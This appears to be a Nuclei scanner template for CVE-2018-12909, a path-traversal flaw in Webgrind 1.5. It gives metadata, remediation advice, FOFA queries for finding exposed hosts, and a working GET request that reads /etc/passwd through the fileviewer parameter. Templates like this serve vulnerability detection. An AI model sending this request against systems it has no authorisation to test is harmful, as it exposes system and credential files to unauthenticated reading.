id: CVE-2018-12909

info:
  name: Webgrind <= 1.5 - Local File Inclusion
  author: DhiyaneshDk
  severity: high
  description: |
    Webgrind 1.5 relies on user input to display a file, which lets anyone view files from the local filesystem (that the webserver user has access to) via an index.php?op=fileviewer&file= URI
  impact: |
    Unauthenticated attackers can read arbitrary files including sensitive configuration files, database credentials, and system files that the web server has access to.
  remediation: |
    Upgrade Webgrind to a version higher than 1.5 or apply the necessary patches provided by the vendor.
  reference:
    - https://github.com/Threekiii/Awesome-POC/blob/master/Web%E5%BA%94%E7%94%A8%E6%BC%8F%E6%B4%9E/Webgrind%20fileviewer.phtml%20%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E8%AF%BB%E5%8F%96%E6%BC%8F%E6%B4%9E%20CVE-2018-12909.md
    - https://github.com/jokkedk/webgrind/issues/112
    - https://nvd.nist.gov/vuln/detail/CVE-2018-12909
    - https://github.com/KayCHENvip/vulnerability-poc
    - https://github.com/Miraitowa70/POC-Notes
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2018-12909
    cwe-id: CWE-22
    epss-score: 0.18568
    epss-percentile: 0.96885
    cpe: cpe:2.3:a:webgrind_project:webgrind:1.5.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: webgrind_project
    product: webgrind
    fofa-query:
      - app="Webgrind"
      - app="webgrind"
  tags: cve,cve2018,lfi,webgrind,webgrind_project,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?op=fileviewer&file=/etc/passwd"

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'root:.*:0:0:'
          - 'webgrind'
        condition: and

      - type: status
        status:
          - 200
# digest: 4a0a00473045022063a249bc82cf6b3227eac3d7e7d5ae06136afc608c21a874d09f4bc2314ccf86022100ec8c5df232598ee0a76c56cdabfeddac9b78652f6caefbef1eb581615c98a8d3:922c64590222798bb761d5b6d8e72950